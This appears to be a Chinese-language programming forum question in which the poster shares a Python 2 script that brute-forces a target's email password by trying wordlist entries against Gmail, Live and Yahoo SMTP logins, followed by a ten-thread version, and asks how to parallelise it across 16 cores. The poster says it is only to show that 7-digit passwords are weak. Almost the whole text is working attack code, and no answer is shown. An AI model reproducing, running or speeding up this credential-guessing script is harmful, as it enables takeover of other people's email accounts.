我需要由 16 个进程共享这个进程。我正在为其购买一个具有 16 个内核并以 90gflops 运行的并行板。
我不会做任何违法的事情。只是为了证明我的观点,使用 7 位整数的密码对于组织来说太不安全了。进一步,我已经解决了,我只是想要一个更好的方法。
这是它的基本工作脚本:
import smtplib
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
enter = raw_input("Enter text file name : ")
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
passwfile = open(enter, 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
到目前为止尝试过:
import smtplib
from threading import Thread
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
user = raw_input("Enter the target's email address: ")
def tenth():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('10.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def att():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('9.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atc():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('8.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atk():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('7.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def attack():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('6.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def tr():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('5.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def br():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('4.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def bru():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('3.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def brute():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('2.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def arrgh():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('1.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
thread1 = Thread(target = arrgh)
thread1.start()
thread2 = Thread(target = brute)
thread2.start()
thread3 = Thread(target = bru)
thread3.start()
thread4 = Thread(target = br)
thread4.start()
thread5 = Thread(target = tr)
thread5.start()
thread6 = Thread(target = att)
thread6.start()
thread7 = Thread(target = atc)
thread7.start()
thread8 = Thread(target = atk)
thread8.start()
thread9 = Thread(target = attack)
thread9.start()
thread10 = Thread(target = tenth)
thread10.start()
这样做是打开多个文本文件。我希望它能够打开一个文本文件并从该文件本身运行多个进程。